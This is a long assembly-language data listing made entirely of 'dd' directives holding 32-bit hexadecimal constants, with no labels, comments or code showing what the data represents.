dd 0AC464F9Dh, 122002E1h, 0E5C008E8h, 21092A35h, 65C3014Ah
dd 81163578h, 0F517FDE3h, 12573136h, 0B4D205ACh, 6817F492h
dd 3B31193Bh, 0DE2A5954h, 2FF1562Ch, 3C8C665Ch, 0B8294BEh
dd 1D6E6810h, 8BAAA6FEh, 63A2B2B5h, 7B9C889h, 9501FA6Dh
dd 59DAB343h, 9F02078Bh, 0F409FC60h, 1B0E4B96h, 7BBE5A78h
dd 117D5F02h, 0E301EE83h, 0A8E09392h, 59C7E96Eh, 0F509B628h
dd 0ED0EC01Dh, 5CCBDEDCh, 0EB30C9C5h, 87601789h, 0F825015Ah
dd 0E94D4B2Dh, 656FB15Dh, 0BEE6B48Eh, 2C3F2D46h, 0A88E56DFh
dd 5A0FD5AEh, 0EC4C57E6h, 40F17425h, 4B42236Ah, 0B03AC5D3h
dd 56126882h, 585B1501h, 0F07E8C1h, 0B70B9AF4h, 59DFC4A0h
dd 0E9277B44h, 8895C0B2h, 0B45D4AFBh, 0C5A9CE02h, 2AA4415Ah
dd 5F5B014Bh, 51A19678h, 0BC0FC468h, 0E90920EBh, 985C4F0Eh
dd 0C283A908h, 0BC334079h, 0BEEC9EB5h, 1FE4D02Eh, 0D3B64ED1h
dd 139ED6AFh, 359E18A8h, 140B7D68h, 745A0F04h, 79F4BAD2h
dd 0FD8612DAh, 2530901Eh, 3660D131h, 7109CF0Ch, 0D089042Eh
dd 0F2ED835Ah, 93A45B56h, 1CB33C53h, 9A75C92Ch, 76643A4Ah
dd 0B8096490h, 89AE41A8h, 904478D0h, 1DCD2F60h, 44EDF0E1h
dd 4CB6E308h, 292D8B05h, 9512589Dh, 0B1F2189Bh, 0D15159F8h
dd 42CCC8EBh, 0CC334F2h, 7D2B63D6h, 313F409Ah, 0FD6BEF72h
dd 5F8C508h, 0E0D0E955h, 660E5010h, 834C8FB8h, 0C50F9F05h
dd 371FBEh, 6852F635h, 28B11740h, 9DBA07BEh, 0BD505538h
dd 68E93344h, 0EB5D4F88h, 3BEF54A2h, 16BE3A65h, 8EAD56EDh
dd 0D80B9984h, 9625E917h, 0C925D973h, 2B0B6BFCh, 31262CBh
dd 91D801DEh, 1B715828h, 54FADB04h, 0D70386ECh, 0DD01F7BBh
dd 0C2E951F8h, 8FBD9994h, 49FC88E0h, 270E5E31h, 126E0CF1h
dd 41B2A205h, 0FF665390h, 4DB3F230h, 80077F95h, 5053C404h
dd 20637A18h, 27CB5648h, 0F37146F3h, 253BADFDh, 0D6CF21BAh
dd 40CDADBFh, 9EE82043h, 81DF52B0h, 71F768C6h, 6673B866h
dd 59CD3FBEh, 35D577Bh, 2F34EFDh, 0A8A7135Fh, 5A681F7Ah
dd 0A29D2062h, 0AC8D9E80h, 4E94B5D3h, 948513FCh, 45ED8857h
dd 5916797Ah, 2310D301h, 20924808h, 89681636h, 64D351Ah
dd 5EC60841h, 8755E197h, 7050C412h, 4BCE895Eh, 0F5ABF1Dh
dd 0E7C10D01h, 0EC367246h, 348EFC1h, 4FDA05C1h, 0DE000A7Fh
dd 7A111344h, 95E3FF01h, 895D0802h, 8724D9F8h, 5AB1CBBh
dd 12778FF5h, 0B0055F21h, 0A7FC1DA3h, 64C78A96h, 16A4FE19h
dd 809441A8h, 0DE500F9Ah, 0B0DDF76Ch, 0A2C44F3Ch, 0D425785Bh
dd 6234B6Ah, 0F5B9DABCh, 0AE98106Bh, 54D1525Ah, 0D06059CAh
dd 6C1E075Ch, 81E8D139h, 54CE84E9h, 2A1DED9Dh, 680908AFh
dd 263FD59h, 0FC49D956h, 0E3FA5BECh, 346C5A11h, 4BA9683Bh
dd 41579EDDh, 62B376CAh, 0B2AA855Fh, 0BDC152FDh, 71C2E9FBh
dd 0A0990B5Fh, 0EA5A7C4Ch, 13BA6385h, 0EDFA2DC2h, 0B6173ADEh
dd 68AA6A8h, 88588BA2h, 0DE1B7140h, 74927582h, 81088554h
dd 870F05CCh, 0EC44EAD0h, 0E198614Fh, 0A1C14E8Ah, 0BB352088h
dd 3D7105E0h, 8052C83Ah, 7C7A5F4Fh, 2C51B42Dh, 3EDC4D8Fh
dd 93050751h, 0EB0C8B25h, 9EBD193h, 20EA7753h, 9C38325h
dd 6F595A08h, 184E7B28h, 140D5E4h, 0C05AF730h, 606605E7h
dd 0EC60D877h, 2E64EA53h, 89472F4Eh, 551282D1h, 993B4AE1h
dd 5092F114h, 66F520F7h, 2E51195h, 687FE911h, 995D2F99h
dd 224252D4h, 7D9A555Ah, 3CEDAA10h, 0CE4CF8BAh, 0B5804BB5h
dd 4C5BDF29h, 472D6D55h, 30074F0Fh, 5E9A82F1h, 586939FDh
dd 16AFCA3Bh, 85F442AAh, 17851B0Fh, 6ECA1B62h, 52726009h
dd 5954255Fh, 0B731B5EFh, 0EB2CE801h, 75F3D0h, 4F564651h
dd 4487F781h, 0E90D0505h, 0D5E915CFh, 5BA64811h, 92CCD704h
dd 0B5BAB917h, 26BCEA00h, 9F4D7F02h, 4EE5AE80h, 4B5C8D70h
dd 0B9854F1Eh, 2DAEC508h, 810157E7h, 0F0584CDh, 22E29D5h
dd 176EE9E6h, 5C971973h, 0C14133CBh, 0CBF9123Bh, 0E0902A19h
dd 450BC9FCh, 4099C77h, 34AFB93Eh, 822082A8h, 6DED2558h
dd 1C352C7Ch, 9DBC4CA5h, 67561E62h, 0FCE8A15Ch, 0DCF8B401h
dd 0C59746A0h, 12270B40h, 0DB5A87C8h, 0C601B183h, 0D69B1C70h
dd 80A79110h, 5568F4EBh, 88D298BDh, 67517BC2h, 62595538h
dd 0D54627Fh, 8E472960h, 31E942h, 0B625E230h, 0E49CF3Ah
dd 7950A2A9h, 0FD145BE6h, 8B7ADh, 51311DC9h, 4A6F8C0Fh
dd 0C78FC829h, 2B2FB60Bh, 5F2E0103h, 0AC93DB88h, 3025F83Bh
dd 0E9F306CCh, 51819D0Ah, 50731368h, 83BB5351h, 7C524B0Fh
dd 2BDDEF55h, 0FC52829Ch, 3300091Bh, 1411871Fh, 2AD92126h
dd 263145A7h, 3BFC11A3h, 2AE0AEE6h, 5942D8A5h, 0FC9C1425h
dd 59CB2CF5h, 0C2C625D1h, 1A081697h, 3E913FE9h, 27AA9C57h
dd 67D9E789h, 0F563044Bh, 0C1D90104h, 6A6AD373h, 48C2EC2Ch
dd 0ACD35F3Dh, 6A07B21Dh, 4734DD63h, 0F25BE979h, 0ACE196C9h
dd 0D6CD9A35h, 6905B883h, 0A5EA3960h, 0F05EE069h, 36FA9BCEh
dd 41244A7Ch, 6886490Ah, 4EFD011Ch, 80C00510h, 2DAC04ECh
dd 9C590AC4h, 0A859CFADh, 0D0905D80h, 4553E45Ah, 52030E9Ah
dd 872A83BAh, 0C420027h, 0F542174h, 9BB2E88Eh, 285EE974h
dd 1DE0A9C9h, 0A7449D20h, 0A0485D20h, 30273206h, 0B20C05B3h
dd 6C124D68h, 2210F329h, 56510A08h, 890015BEh, 17E95EF1h
dd 7FDDC6Dh, 5866E1h, 0B35359C8h, 0B450C100h, 0F6CCFE9Eh
dd 0E4C00ED4h, 0CBE38005h, 0EE8C67E9h, 0A6949B37h, 0BF5648B0h
dd 0BCC8E04Eh, 0A4311E43h, 0CB652935h, 4B5C0E98h, 97BBE913h
dd 0F715FCB3h, 0D728A995h, 4A017AB7h, 5096E526h, 2812B0ADh
dd 62202798h, 0EEEBE0D1h, 45DB28Eh, 743545BDh, 0F5E3D04Ch
dd 0AC255863h, 1EDDD92Dh, 0B0BCC0C5h, 5DEF899Ch, 0D175FB90h
dd 0DF0B574Bh, 841B5945h, 0BC40A1E9h, 56E8C94Fh, 4FCC2523h
dd 78F0E1E8h, 680168BAh, 1D896B3Dh, 7882455Dh, 1640800Fh
dd 42C5EBA3h, 0C0B52172h, 0C05185A2h, 0A8A2EE1Dh, 564FAB11h
dd 1B651901h, 924257E3h, 9F54F3ADh, 0F9C91654h, 6BA213A5h
dd 0A8B554BCh, 5CAE12C8h, 0F12417ADh, 7918001Ah, 81467DF5h
dd 3B91F606h, 291E2BFBh, 13CD8B5Eh, 0CB19AC1Ah, 13A684F9h
dd 16E304AEh, 37E01309h, 5012CC56h, 650FEDCDh, 69601874h
dd 513505Bh, 9207EFBEh, 0C5BC8062h, 3361A83Eh, 8611FA8Ch
dd 0F7047DE2h, 6DEC45h, 0A8E0D15h, 0BF5DEE21h, 6208843h
dd 86025A03h, 820BBEB6h, 724A7793h, 21FD20E9h, 7FA8839h
dd 0C05B5AD1h, 0E6D702C9h
dd 9B5C598h, 22C14068h, 98E66954h, 4F02680Fh, 827C2475h
dd 92E808C2h, 4C78F680h, 0EE12C625h, 550CC79Ah, 8725805Fh
dd 4A2DE9F5h, 0F6FE4839h, 2C8CB3B6h, 2EE4CFB7h, 409BCD30h
dd 96B52BDAh, 90B65200h, 0CEFEDEF6h, 58E63B80h, 36E9D686h
dd 8181324Eh, 89906A78h, 1780D3B4h, 0C0FB2E4h, 0C4B75552h
dd 0E17CC690h, 0E4F93180h, 5708C1CFh, 725B5F53h, 0E88384F8h
dd 561425BBh, 4345234h, 0B246C6B2h, 0A1E066F2h, 9897806Dh
dd 55B8047h, 5F286200h, 0D9AD2D74h, 213A26E1h, 0D05625FDh
dd 0C272E2E1h, 0F530A421h, 60588136h, 1EB001C2h, 1F25677Ch
dd 5E5099F6h, 962C569h, 71F0B6E9h, 4A8CC697h, 8466B866h
dd 1168DB8h, 230A943Eh, 0B171EC3Eh, 5512529Bh, 0ABB9D341h
dd 0D1C3DE52h, 416EF1B3h, 1F47A392h, 15F5616Bh, 0E20685EBh
dd 5E845B47h, 0E9127CAEh, 0ACE21E54h, 2068661Ch, 0B6D267h
dd 0F6C2B252h, 5E2C0DAh, 27AE92Dh, 43E3C1ABh, 614C9A84h
dd 0C03025F4h, 0DDD800A5h, 5BD9894Ah, 0E926CD29h, 5CB15360h
dd 0C86A71C0h, 8D5B35E0h, 0E7D08DA6h, 0AC2D164Bh, 3F29A948h
dd 27140C6Bh, 0A31AE912h, 0FA19B5F9h, 305B0C8Ch, 31BA261Fh
dd 26520FBEh, 233E154h, 4DE8B951h, 80F52553h, 6FEA81E7h
dd 1C5F3023h, 930B620Ch, 10F71040h, 538EB75h, 169B1BB5h
dd 0BD4D4486h, 799808E6h, 1B17025Fh, 8C7BFB8Dh, 6F905664h
dd 0A5193020h, 0F7B3303Dh, 6A4B68F9h, 323AF2B1h, 0B1C9A223h
dd 31D97129h, 0A0096AA7h, 762E78A0h, 11513040h, 0D831AD24h
dd 0B82D70FFh, 9AA7D00h, 47E17ABDh, 0D5291A76h, 60D2A65Ah
dd 6747A95h, 175602CDh, 4481223h, 55270946h, 19510235h
dd 0A29357C3h, 826552C1h, 7E51BED9h, 7C78216h, 3C8E680Eh
dd 6251B44Bh, 0BA00D027h, 5B1905A8h, 5493E45Ah, 849BF249h
dd 55062B12h, 665B7850h, 25640229h, 79F8B287h, 58C6265Bh
dd 40810EEh, 614A6B72h, 608B13AFh, 581EBD80h, 8C253625h
dd 5A1664D5h, 11F3B4EBh, 57B4CC4Bh, 4838EF2Bh, 0AC78C9Fh
dd 0AA39F18Dh, 31711221h, 82ECA284h, 70E2E627h, 87089ADBh
dd 0AA2D01EFh, 302A0D12h, 46B5BB31h, 566870F4h, 0AF129946h
dd 8523E9F3h, 35AB44B4h, 7A17F5B5h, 0F1E98560h, 0EDA9C929h
dd 5F8A71F4h, 6801FD31h, 1F540F2Fh, 0C276BE41h, 0BDE30004h
dd 293FC775h, 0EA2EF27Dh, 4799D322h, 6189E88Eh, 6BD12C8Bh
dd 59707DB8h, 1AFF04Ch, 80C5FECCh, 0A9CF56EDh, 20872834h
dd 0C0D0B753h, 4D0417F7h, 896D0E97h, 8836655Bh, 0C107F292h
dd 0EA3707E2h, 0E0E569EFh, 5D926875h, 3815B58h, 4163C244h
dd 493F9E6h, 570492FCh, 0B06FDC9Ch, 0E80927A1h, 88FB0113h
dd 0AA2E0876h, 3A8E388Dh, 8D10C779h, 6855053Ah, 39521E48h
dd 9EA52413h, 914B307Dh, 3EED3DA6h, 5EC5F847h, 41B42817h
dd 9D4F21BCh, 51FC8FE1h, 461BE9E9h, 0F0212EA1h, 4D8B180Fh
dd 2E1E1FE7h, 31D21302h, 0CDB05F83h, 0A5E1B7C2h, 0A116518Bh
dd 75D3B41Eh, 275A8FF0h, 0AA60D2F7h, 0B716B349h, 0FC048988h
dd 580B0CFBh, 5457DCA1h, 0A7FA205Fh, 37386016h, 7C9F5101h
dd 65317879h, 7F0C01F7h, 5AE9FB29h, 405C3AC8h, 2513B987h
dd 50B90167h, 0E5E63B5h, 0BEF956D8h, 0F1843F17h, 58D7C9F4h
dd 0EE05024Fh, 0AAE18F2h, 1CB5FCAh, 4E8D2BADh, 4B42DA29h
dd 5E5082Ah, 0DC71DC68h, 0B6497BAAh, 14D7C494h, 4867A58Dh
dd 2FB0B175h, 0E59C3A71h, 0F50AB5AAh, 0A330402Ch, 17A4D10Ch
dd 0A72601F7h, 5E57AFCAh, 0B3F0F85Fh, 680A109Dh, 27187CBFh
dd 7DC85B2Ah, 67062FE0h, 1F870F63h, 0D244A077h, 0B536E408h
dd 8DB50660h, 0F08E5659h, 0B5AD6EE9h, 4B07CE48h, 82ED29C0h
dd 582C1803h, 9F100759h, 864A75B1h, 247F31F7h, 9242DF5Bh
dd 0B347ABF3h, 0BC7A875Eh, 0E9DBE602h, 1F868483h, 490E5EFBh
dd 70564AF6h, 6A9F8462h, 0CA08C3BAh, 8360095Fh, 3C5BB151h
dd 0F1C98AA0h, 9238E3CEh, 0BBCA4858h, 592118D3h, 2FA87248h
dd 0E90C6A06h, 20DD47h, 0A346160Dh, 68AA0573h, 0A527033Fh
dd 0B72E780Ch, 0BB986AEEh, 1E92B120h, 957DDF7h, 8B723D34h
dd 0C3724C0h, 955E4B83h, 364E6440h, 17A3BC48h, 36FD9BCBh
dd 0F314A00Bh, 7A201EE0h, 0C61AA30h, 13DD7249h, 0ECFE29A4h
dd 0F56EB168h, 30B8883Eh, 205AD40Bh, 8075DBE3h, 0B25FB353h
dd 29D28D3h, 347A96Ah, 6CB9D029h, 0E48A6E59h, 9C5AEB3Bh
dd 6B0CBF0Eh, 0A078E652h, 7D7F12A0h, 0BD190F2Eh, 559F92E0h
dd 0F9728951h, 780BCD48h, 340594FAh, 9BE9384Ah, 2A6053C9h
dd 7BE12717h, 763CEB7Ah, 68BF7AA8h, 256E0361h, 246555A9h
dd 0FB8500Ah, 0D6DDE906h, 5F5A2654h, 0D5E570E7h, 0E2D5C81h
dd 39C653C9h, 0DA49B198h, 0E495B15h, 5D9EFAC6h, 0D85F9DEAh
dd 0FA258A3Ah, 0D2065E51h, 6A800ADBh, 0E91A730Dh, 43E74A8Eh
dd 0BB4B17E1h, 0D994CC7Eh, 25405903h, 331E0C07h, 8DACE0D1h
dd 1FF3904h, 76F877E9h, 0C7FF7E51h, 55F129EBh, 6800071Eh
dd 0C70CDF98h, 9DA5E95Eh, 14D410EAh, 1FB2F608h, 0C05D964Ah
dd 0EC885084h, 0F990E6E4h, 16149669h, 4FF3FC1Fh, 1A13421Fh
dd 8A586A18h, 0A2E5400Bh, 0DFF1D01Bh, 0B736D276h, 0E2277BC5h
dd 0E0BCCBACh, 600C5E91h, 51090C48h, 0F0BEB531h, 7CBCA60Bh
dd 2D450C3h, 97305881h, 5F9EBD2Dh, 8B20BA0h, 404024B8h
dd 0B92B9559h, 0FCFBB856h, 423BD4C9h, 0A7C1E976h, 5A025CE4h
dd 89EF9E42h, 2D427AF7h, 57BADE50h, 0B1B825D7h, 8DE8A756h
dd 0FAC181C4h, 0A30CEF58h, 75290222h, 0E0E9F901h, 34FD614Ah
dd 90E9253Fh, 80587004h, 0B32D4E15h, 0E0E4234Bh, 4211DB51h
dd 30857180h, 50DE0112h, 7D123100h, 2F596124h, 0BE01BDE9h
dd 3BA9880Fh, 6EEEA341h, 0EE407554h, 3E6ABAC6h, 0F6034C5Dh
dd 0A0C09E4h, 315EFE07h, 0C7955FF8h, 0C1C0CEECh, 0CF8107EFh
dd 6E492B0Eh, 0D842DE25h, 0F4ECEABEh, 4ADA081Ch, 0E5E1890Bh
dd 2DA58B28h, 922FF0C6h, 522E11CDh, 0C3014A62h, 0E0C6333h
dd 8014305Fh, 7E744D01h, 2A06282Dh, 0CFD8F7F4h, 78414004h
dd 0FD6FA305h, 0EECAD7F2h, 583B8957h, 8086FCAEh, 7E15CFBBh
dd 5A853D6h, 2625D5CBh, 0B795ADB0h, 7E669291h, 85E73244h
dd 1804AC12h, 83279F79h, 0EC204A6Eh, 9D899F96h, 7505AABDh
dd 299ABB07h, 0FE6C49B6h, 5632EF71h, 781F6801h, 61D83143h
dd 7474B880h, 3862E1F9h, 7DA98D38h, 0F3B99E14h, 8DE1752Fh
dd 96802E46h, 60442878h, 7AB10C13h, 315BE35Ah, 732BF0B1h
dd 0E9F8D043h, 48961A61h, 52A2B62h, 3009B864h, 6EB4796Dh
dd 83A55AB2h, 0C28353FCh, 0E22858B0h, 4D3AD2B0h, 71EE25E9h
dd 51962F06h, 9AFC854Ah, 81574230h, 0C313D2F1h, 4480A7F3h
dd 121B951h, 411C1716h, 3F06E1C1h, 0DB3C9480h, 4E497635h
dd 4DCF8066h, 555B800Fh, 0ABA9C416h, 5FFD81E4h, 0A1B32BBDh
dd 0B020E983h, 25F41C4Fh, 1259438Ch, 0F1A03BE9h, 5BF17731h
dd 0BE04C0F9h, 40F44BC9h, 0D760CFF4h, 246C2914h, 595D2508h
dd 5696BF1h, 21FF0CF5h, 2ABFD655h, 11CB2AF2h, 0D11BF3D0h
dd 0CA3854EEh, 1E90721Ah, 28D74E82h, 15580CF5h, 0FC0C51EAh
dd 0A111F209h, 0CFC941F7h, 1ECB5D80h, 0F1CB762h, 174F8D70h
dd 13F2F3E4h, 910E9159h, 2A60D9C3h, 102154A7h, 3A846508h
dd 0DFCC60BAh, 6E5C1A0h
dd 0E0E06D2h, 2E6A23CDh, 1AEDB168h, 27FEC070h, 1FD1EE31h
dd 4797050Ch, 3EF409E6h, 0BAC814E8h, 7C1424EEh, 1C8E1D32h
dd 4B0527D8h, 9DB1F5E9h, 0CB5D8C3Eh, 0D70EC897h, 3060FB5Ah
dd 0FDD40F3h, 0DEDC8412h, 86B124E8h, 6084C339h, 2C8BC688h
dd 0E24D5FC2h, 5B01224Ah, 0B22BD031h, 0A1D9253Eh, 3638685Ch
dd 0D38994E4h, 9694E212h, 5BDF5071h, 84BE272Bh, 2525EB3Dh
dd 0F8B24B97h, 7FAB4A8Fh, 6DA37AA7h, 7E276B12h, 0F455154h
dd 8FD623B3h, 30EA294Ch, 7BB90D89h, 57BE245Fh, 8AA7BEB8h
dd 166B08Ah, 1144E51h, 59806EF2h, 4C2B404Bh, 0B4291467h
dd 0C65147F7h, 5B4FB56Ah, 660F9CE3h, 0DEEBE1F7h, 5452E740h
dd 0DB685A09h, 88C15109h, 702DBE31h, 0F2810223h, 0BBE5FBE4h
dd 0C75E22FDh, 8F682202h, 6EB79678h, 34052031h, 106E4148h
dd 0FF505B1Bh, 19311F39h, 7A870902h, 0E6E2BE52h, 0AE346292h
dd 34848198h, 4A7A90C3h, 0D4C0ACB3h, 0A1B02ED9h, 0D554C442h
dd 0D5292310h, 80953C80h, 0D690D9F7h, 6EC90D55h, 0F206B434h
dd 0F82882C5h, 665B6AD9h, 0E2CC0F11h, 9AE5C82Eh, 1FBCDFBh
dd 832B3CB1h, 6FD4EDD1h, 25F410F6h, 125F3B42h, 884BC986h
dd 879D04C7h, 884004ACh, 0A68E7E8Fh, 0BFCE2172h, 323A5749h
dd 0F6992E89h, 0DF0660EEh, 0B55E8F40h, 0ED0BA89Ah, 0E9E2DDFBh
dd 0C3E7CDCh, 0C004D6F6h, 0BB06EE2Eh, 95DBF827h, 4FA878E5h
dd 53C4954Ah, 2B6F39BEh, 68082CB2h, 0E9050DB1h, 0A234A478h
dd 7AA19612h, 0FB5D86Ah, 8495AB48h, 62AE81FAh, 0BE82561Fh
dd 7B459E27h, 1CA30F0Ah, 6E13AF3Dh, 0ACC1F7D6h, 5BEC36A5h
dd 324AE3F8h, 9D5345C8h, 6269B91Ah, 0DADE6C5Bh, 4617DCC1h
dd 48BD27F9h, 970728F7h, 0A27A28CAh, 9F87A920h, 3C57A041h
dd 0DB2F7C29h, 64C6F102h, 50510017h, 5C70C668h, 9B256087h
dd 485BEC06h, 2619ECB7h, 0BC259A90h, 5C923D89h, 0D1F72D22h
dd 308FADC1h, 49503BE3h, 8412A1EAh, 0AB5844h, 9E8D0589h
dd 0E297FA18h, 26255092h, 0A54F29E9h, 5589FE7Bh, 3090DABEh
dd 0F7C3276Ah, 9C2E1521h, 5512B57Bh, 0AB920FECh, 0AF560064h
dd 8F6B7E2Dh, 96E913E0h, 1253FFF0h, 0F336CC68h, 47557FA9h
dd 0DCF3C1A7h, 0DAAAEF33h, 2B5A7061h, 0BDD3F0A3h, 844F9A8Fh
dd 0EE12807Ch, 8B0FBF01h, 1387B41Ah, 308103E2h, 263F73B9h
dd 3235E390h, 0FDA505h, 50C7044Bh, 0EE24C055h, 0E62580AFh
dd 91238011h, 975DB64Eh, 14020FA9h, 6609839Dh, 34872561h
dd 2E9C2F6h, 0AD8EA22h, 63340318h, 13D968D0h, 0E6A589ABh
dd 98200803h, 85F0B981h, 827CA5A3h, 444C440h, 0F7130576h
dd 439081DEh, 3055710Fh, 8CE201F5h, 0A7183C60h, 0C0448A36h
dd 7730730Ch, 0EB4EE90Ah, 69B0C080h, 0C0D75004h, 95A56346h
dd 0CEB926E7h, 0A336EC21h, 3D58FE82h, 3F2D3141h, 7ADFD17h
dd 5A97E6F5h, 165289CCh, 0E94CC2E9h, 0F11A1346h, 0A216578Ah
dd 856D9454h, 4834F97Dh, 9F53185Eh, 12DFEF33h, 526E3D65h
dd 2E2E0947h, 4258ECA2h, 655AF780h, 0CAEC5C99h, 844BA501h
dd 13DE963h, 0A28C343Ah, 2DEF1209h, 147137AEh, 0F69F450Eh
dd 0C339F4A9h, 0A2852EF7h, 39B03237h, 0AEEC5D05h, 71272777h
dd 14782A20h, 0F3EC2A7Fh, 3733A70Ch, 19970C6Bh, 9056E93Bh
dd 0AA82055Ah, 5B8AD814h, 0EEC90766h, 0FC09643Eh, 4734271Bh
dd 826A663h, 3501EC9Ch, 0AB938BD1h, 0E48D812Fh, 2F3D351Ch
dd 16C2E837h, 4C2E7DA6h, 0A140D1E9h, 6302BD68h, 0C15B1486h
dd 0C98277EBh, 4304C44Fh, 0F101ADC2h, 0D73D3FB3h, 9D2C0B16h
dd 0C766EC8Eh, 0D05B1E92h, 6BC16B0Fh, 9E90904h, 6D4E6289h
dd 77142575h, 1A68E928h, 3CD3C309h, 6CF08C06h, 2D7E40C2h
dd 0E7A6F20Bh, 0FC328B79h, 0FD7E6E70h, 0A0D9F124h, 646C9F42h
dd 682CF426h, 56A40269h, 89B0DE41h, 2A0B4E46h, 0F88745Eh
dd 685100D3h, 48B010A4h, 6B16594Ch, 0CF6600C3h, 905FF989h
dd 35602878h, 0DC3C0F73h, 8B6B3E9Dh, 2D413362h, 0FECAE0CBh
dd 0AC26C69Fh, 0BD551FB6h, 2CD30F73h, 592DF581h, 15BA8C2Bh
dd 48EE5D07h, 5A1F9E6Ah, 9D700946h, 0CC8B2EEh, 1EE98502h
dd 51101ECh, 20D194B4h, 0F4C05E39h, 1FCB5FC4h, 0B7CBB821h
dd 0FD87BA00h, 235BBBE9h, 0DBF77AD1h, 0C5BEF884h, 5F17B05Ch
dd 0DD895513h, 343B87A1h, 84F9015Eh, 70CFB4AAh, 591F64C2h
dd 0C50173D3h, 7C8E55B7h, 8C9506Fh, 24141C68h, 4B9F11A6h
dd 13DDFFA2h, 31B64767h, 46E827C8h, 76B108C5h, 0CA66DEE9h
dd 18652F51h, 0E595C82Dh, 7F7397F7h, 9F0DD8A7h, 74169F99h
dd 8E130FCEh, 0F3ADEBD7h, 5D4B29CFh, 0DA4A0F63h, 84F23AF5h
dd 0ADB0B9ADh, 5057015Ah, 7E154CB8h, 842F64h, 8DF841BAh
dd 70333546h, 89CE2B8Fh, 299EEBD3h, 4F3A5721h, 4EBC435Eh
dd 0DFACE5C5h, 0DB061EB7h, 540C6023h, 8249EB38h, 10370899h
dd 232C0126h, 2880413Ah, 122B1960h, 0FAE4D731h, 99505FEh
dd 660E04AFh, 25629581h, 803FAD35h, 2B3DD35Ah, 780C84E3h
dd 17BAD4C6h, 185CB9FCh, 666397E9h, 0CBFE0F59h, 4364DBF6h
dd 2BD89803h, 0ABD2240h, 41C1056Bh, 7FC0FA7h, 0BDB3EDAAh
dd 0CE409FF3h, 0A330E80h, 0C8180C0Dh, 2DE9F2B0h, 0DA649ECFh
dd 279A4097h, 0E2514D9Ah, 0D8F5EB00h, 45E9AE65h, 310958BAh
dd 0D42958C6h, 0EC212C8h, 8BA4B569h, 3862AB36h, 0C9FEFCCDh
dd 9EB1B04h, 0A0A6555Dh, 0DE027603h, 0D1366134h, 0A38C8FEBh
dd 53A3E6Fh, 30076482h, 0D1C0E13Dh, 0DDB39DEAh, 72A84EC9h
dd 35850F67h, 0A67F477Eh, 0F7318E6Dh, 0DF8EFE4Eh, 9E08FBCDh
dd 7C3987D8h, 4648D6FEh, 58B9B08Ch, 34E34C1Fh, 2049EE00h
dd 0CE0161D3h, 8811498h, 5D1E8259h, 57661503h, 0BC09D809h
dd 0E0C113C0h, 8A1020B0h, 25029C04h, 51F53A7Fh, 996AB0C0h
dd 0C5C616C1h, 422B53E4h, 1842E9D3h, 0C13DA0D7h, 64979DFFh
dd 0A1C0FC89h, 0CE357A60h, 68586D20h, 0E30C4A59h, 0E91B621Bh
dd 34DC4BBFh, 0AB457E8Eh, 882682DAh, 73E90468h, 0B549AFEEh
dd 0B14D60D6h, 0CE88024Bh, 12F68059h, 1758EC62h, 2B362D01h
dd 0C2296B21h, 41779420h, 9A22D47Bh, 8E6E3294h, 58C3C0E8h
dd 9E3815Dh, 254C0B5Fh, 6B82C81h, 0E4683036h, 0E4ACCB4Ah
dd 4250F7D9h, 197D7FF0h, 0E82355EFh, 0CB21E381h, 7AFDE133h
dd 0E581A930h, 0C73D13B4h, 40A2071Fh, 8116D57Eh, 5566253h
dd 20E64F14h, 0B85C4AF2h, 0D70C8CBDh, 53CE13BBh, 0D999C1A8h
dd 2F2C0043h, 0B85B4E66h, 0AF623E17h, 291241CBh, 506EBADBh
dd 0CE71BC2Fh, 7CF9E74Bh, 0B6ECB8C4h, 0E9469097h, 0A19D886Ch
dd 9E4EF317h, 1C9F220h, 52AE1378h, 684A800Fh, 0B6E25AD6h
dd 4BB3A8B5h, 830577C4h, 69C814E3h, 7B391E49h, 19C1C910h
dd 2B3012E9h, 795D6B0Bh, 34764BCDh, 735A5642h, 0E95305EFh
dd 0AEAB5394h, 6F8694Ch, 2D90BC41h, 0DAC176D8h, 172435C9h
dd 8FACB12Bh, 0D85AE907h, 1348EB9Dh, 0E1FFFDBAh, 0C46160ECh
dd 9DE9AA94h, 0AF8AA670h, 0B8D72F14h, 24B4E7B8h, 62D9AA33h
dd 4E457A61h, 0AEFA34AFh, 4AAA2AD8h, 0E006C912h, 0C69D46D9h
dd 6C3789A3h, 8520EA39h, 84935C6Ah, 0DF341A09h, 5BFCC230h
dd 0FE2C9E97h, 8C2B4E3Fh, 15161F4Bh, 13102664h, 0F8E327B1h
dd 0C4565B8Ah, 0AA9CBAC2h, 265A9A91h, 420C08Ah, 0FFDE30B3h
dd 4A885F2Ch, 124CE1F4h
dd 3CD55196h, 0E02FF69Ch, 5BE918F8h, 0EBC57DFEh, 0A3701B24h
dd 94B3253Eh, 0B9B2D97h, 3B8B4067h, 861148DBh, 25ACB0EEh
dd 677426D9h, 0BBE5670h, 198E2AF4h, 0F96BC672h, 0E5604211h
dd 0E06496C9h, 5B4876Bh, 0ED685340h, 758E1D61h, 1A6E8B5Bh
dd 35A82D30h, 9594A09h, 0FAC9D2CBh, 0AB6182BDh, 0F86660F9h
dd 43D0541Eh, 0A0E9D103h, 0C207CF0h, 1EE60DF3h, 0E98801BCh
dd 0BF0DBADBh, 9A766CB0h, 89F279Fh, 460AC382h, 5A54790Eh
dd 5FDDF6DAh, 0E9848DE2h, 212DF15Fh, 0CC0FE6Bh, 6082C0CBh
dd 50F12B50h, 16DEBD84h, 0B0F5295Bh, 6BC20854h, 0C0485DE8h
dd 0FA4005F4h, 96B61Bh, 2815EA80h, 41E75AD7h, 35249CFCh
dd 25AB302Fh, 484D441Fh, 0D9351809h, 37E48BEBh, 34A57BA0h
dd 0E29815AFh, 2957FC00h, 8282D73h, 27E9E8FAh, 86C80D49h
dd 392627B5h, 9E028140h, 2D5A15h, 0DCF749ECh, 0D7CE0141h
dd 4E88C781h, 2C8BE811h, 0E8A7C59Fh, 25FB0287h, 4EDC106Bh
dd 5C519B09h, 6FAB61B0h, 10B03BE6h, 97F1BA4Ah, 26EFAF02h
dd 0BFD9555h, 0C1CBB8E9h, 5092EDF8h, 314CBF12h, 469D5CEEh
dd 0C0D4411h, 905CA709h, 0E7807726h, 35454A69h, 0BADCBC61h
dd 4761C501h, 0B5051864h, 0B6D20816h, 0F3972AF2h, 403B25D5h
dd 0B67782C0h, 5964EF51h, 2DDA8AC7h, 2701E057h, 307A2D4Ch
dd 3607F688h, 0E92A753Bh, 0B95AE0AEh, 2D607A89h, 6463246Ah
dd 0FDED1233h, 16D300EEh, 562D4049h, 661C0436h, 92F0E955h
dd 0A5C58BEh, 59F0EF96h, 2ED2EC1h, 25851025h, 5B50D858h
dd 5BE2CC14h, 0E9A389Bh, 0EB7FC0E9h, 7BC69D2Dh, 7576F5FFh
